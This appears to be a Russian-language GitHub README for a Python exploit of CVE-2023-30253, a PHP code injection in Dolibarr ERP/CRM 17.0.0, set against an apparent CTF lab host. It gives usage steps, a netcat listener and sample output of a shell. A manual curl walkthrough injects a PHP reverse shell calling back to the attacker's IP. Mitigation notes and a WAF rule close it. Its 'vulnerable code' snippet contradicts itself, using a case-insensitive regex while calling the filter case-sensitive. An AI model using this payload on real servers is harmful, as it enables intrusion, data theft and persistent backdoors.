CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 Удаленное выполнение кода

Эксплойт PHP-инъекции для Dolibarr ERP/CRM v17.0.0, позволяющий получить обратную оболочку от пользователя www-data через модуль Website/CMS.

⚠️ Только для образовательных целей и аудита с разрешения.

📑 Содержание

Что такое CVE-2023-30253?
Как работает уязвимость?
Воздействие
Что делает этот эксплойт?
Требования
Установка
Использование
Практический пример
Эксплойт пошагово
Смягчение
Ссылки

🔍 Что такое CVE-2023-30253?

CVE-2023-30253 — это уязвимость внедрения PHP-кода (CWE-94: Improper Control of Generation of Code) в Dolibarr ERP/CRM версий ниже 17.0.1.

Была обнаружена и сообщена командой Swascan (ныне Hacktivesecurity) в мае 2023 года. Уязвимость находится в модуле Website/CMS, который позволяет аутентифицированным пользователям создавать и управлять веб-сайтами в Dolibarr.

⚙️ Как работает уязвимость?

Dolibarr реализует фильтр для предотвращения внедрения PHP-кода в содержимое страниц модуля Website. Однако у этого фильтра есть критический недостаток: он чувствителен к регистру.

// Уязвимый код (упрощённый) в Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
    // Блокирует только "<?php" в точном нижнем регистре... или нет?
    die("PHP code detected!");
}

Фильтр ищет буквально строку <?php в нижнем регистре. Но PHP допускает любое сочетание регистров для открывающего тега. Это означает:

Эксплойт использует <?PHP (в верхнем регистре) для обхода фильтра, но подойдёт любой вариант.

Кроме того, фильтр применяется только в момент сохранения содержимого. При отдаче страницы Dolibarr передаёт содержимое интерпретатору PHP без дополнительной очистки, и тот выполняет любой код с открывающим тегом <?.

💥 Воздействие

Аутентифицированный злоумышленник может:

Удалённое выполнение команд (RCE) на сервере
Получить доступ к базе данных Dolibarr (клиенты, счета, пользователи)
Читать чувствительные файлы системы (/etc/passwd, конфигурация)
Использовать сервер как точку опоры для внутренних атак
Установить вредоносное ПО, веб-шеллы или постоянные бэкдоры

Почему это критично? Dolibarr используется как корпоративная ERP/CRM. Вторжение может раскрыть данные клиентов, финансовые данные, контракты и внутренние учётные записи.

🛠️ Что делает этот эксплойт?

Эксплойт автоматизирует полный процесс эксплуатации в 5 шагов:

┌─────────────────────────────────────────────────────────┐
│                   CVE-2023-30253                       │
│                                                         │
│  1. Вход         → Аутентификация в Dolibarr           │
│  2. Создать сайт → Создание пустого веб-сайта          │
│  3. Создать стр. → Создание страницы на сайте          │
│  4. Внедрить шелл→ Внедрение PHP reverse shell         │
│  5. Запуск       → Выполнение полезной нагрузки        │
│                                                         │
│  Результат: 🎯 Обратная оболочка от www-data           │
└─────────────────────────────────────────────────────────┘

Особенности:

✅ Автоматическая обработка anti-CSRF токенов
✅ Постоянная сессия с куками
✅ Автоматическое определение pageid
✅ Подробный режим для отладки
✅ Цветной вывод (отключаемый)
✅ Полезная нагрузка reverse shell через fsockopen + proc_open

📋 Требования

Python 3.8+
requests
beautifulsoup4

Или просто:

pip install -r requirements.txt

📦 Установка

# Клонирование репозитория
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit

# Установка зависимостей
pip install -r requirements.txt

🚀 Использование

python exploit.py <target> <username> <password> <lhost> <lport> [опции]

Позиционные аргументы:

Опции:

Опция	Описание
`-v, --verbose`	Показывает подробную отладочную информацию
`--no-color`	Отключает цвета в выводе
`-h, --help`	Показывает справку и примеры

🎯 Практический пример

Терминал 1 — Запуск слушателя reverse shell

nc -lvnp 4444

Терминал 2 — Запуск эксплойта

python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose

Ожидаемый вывод

════════════════════════════════════════════════════════
 CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════

  Target:   http://crm.board.htb
  User:     admin
  LHOST:    10.10.14.5
  LPORT:    4444
  Site ID:  s3a1f2bc

──────────────────────────────────────────────────

[10:45:12] Шаг 1/5: Вход в систему...
[10:45:12]   ✓ Сессия успешно начата

[10:45:13] Шаг 2/5: Создание веб-сайта...
[10:45:13]   ✓ Веб-сайт 's3a1f2bc' создан

[10:45:13] Шаг 3/5: Создание страницы на сайте...
[10:45:13]   ✓ Страница создана на сайте

[10:45:14] Шаг 4/5: Внедрение обратной оболочки → 10.10.14.5:4444...
[10:45:14]   ✓ Код PHP успешно внедрен

[10:45:14] Шаг 5/5: Выполнение полезной нагрузки (trigger)...

════════════════════════════════════════════════════════
  ЭКСПЛУАТАЦИЯ ЗАВЕРШЕНА
════════════════════════════════════════════════════════

  Trigger URL:
  http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc

  Инструкции:
  1. В другом терминале запустите слушатель:
     nc -lvnp 4444
  2. Перейдите по Trigger URL (эксплойт уже это сделал)
  3. Вы получите обратную оболочку от www-data

Терминал 1 — Получена оболочка 🎯

Listening on 0.0.0.0 4444
Connection received on 10.129.231.37 52846
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

🔬 Эксплойт пошагово

Если вы предпочитаете понять процесс вручную (без скрипта), вот полный поток:

1. Аутентификация

# Получить куки и CSRF-токен
curl -c cookies.txt http://crm.board.htb/ > /dev/null

# Извлечь токен
TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

# Логин
curl -b cookies.txt -c cookies.txt \
  -X POST "http://crm.board.htb/index.php?mainmenu=home" \
  -d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"

2. Создание веб-сайта

TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?action=createsite" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  -d "token=$TOKEN&action=addsite&WEBSITE_REF=misitio&WEBSITE_TITLE=misitio&addcontainer=Create"

⚠️ Урок: Правильный параметр action — addsite, а не add, как указано в некоторых публичных эксплойтах.

3. Создание страницы

TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?website=misitio" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  -d "token=$TOKEN&action=addcontainer&website=misitio&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"

4. Внедрение PHP-кода

TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?website=misitio&pageid=1&action=editsource" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "action=updatesource" \
  --data-urlencode "website=misitio" \
  --data-urlencode "PAGE_CONTENT=$PHP"

🔑 Ключ атаки: Правильное поле — PAGE_CONTENT, а не WEBSITE_CONTENT. У многих публичных PoC эта ошибка.

5. Выполнение полезной нагрузки

curl "http://crm.board.htb/public/website/index.php?website=misitio&pageref=misitio"

🛡️ Смягчение

Для защиты сервера Dolibarr от этой уязвимости:

Обновление (рекомендуется)

# Обновить до Dolibarr 17.0.1 или новее
# Патч исправляет фильтр для обнаружения любой вариации <?php

Отключение модуля Website

Если вы не используете модуль Website/CMS, отключите его:

Home → Setup → Modules → Website → Выключить

Правила WAF (mod_security)

# Блокировать любые вариации PHP-тегов в поле PAGE_CONTENT
SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
  "id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP Injection blocked'"

Принцип минимальных привилегий

Не используйте учётные записи администратора для повседневных задач
Ограничьте доступ к модулю Website для тех, кому это действительно необходимо

📚 Ссылки

📝 Отказ от ответственности

Этот проект создан с образовательными и исследовательскими целями в области информационной безопасности. Использование этого эксплойта против систем без явного разрешения незаконно и этически неприемлемо.

Как специалист по кибербезопасности, я твердо верю в:

Ответственное раскрытие уязвимостей
Этичный хакинг с разрешения
Распространение знаний для повышения общей безопасности

Создано Jean Carlos
Студент по кибербезопасности | Пентестинг | CTF Player
_{CVE-2021-3560 •
CVE-2023-27163 •
CVE-2024-46986 •
CVE-2025-2304}

CVE	CVE-2023-30253
CVSS v3.1	8.8 (ВЫСОКИЙ)
Вектор	AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Тип	CWE-94 — Внедрение кода
Затронутое ПО	Dolibarr ERP/CRM < 17.0.1
Привилегии	Аутентифицированный пользователь (любая роль)
Патч	Dolibarr 17.0.1 — коммит `4f6055c`

`<?php ... ?>`	✅	✅
`<?PHP ... ?>`	❌	✅
`<?Php ... ?>`	❌	✅
`<?pHp ... ?>`	❌	✅

`target`	Базовый URL Dolibarr	`http://crm.board.htb`
`username`	Пользователь Dolibarr	`admin`
`password`	Пароль Dolibarr	`admin`
`lhost`	Ваш IP (для получения оболочки)	`10.10.14.5`
`lport`	Ваш порт (для получения оболочки)	`4444`

CVE-2023-30253-exploit

Популярное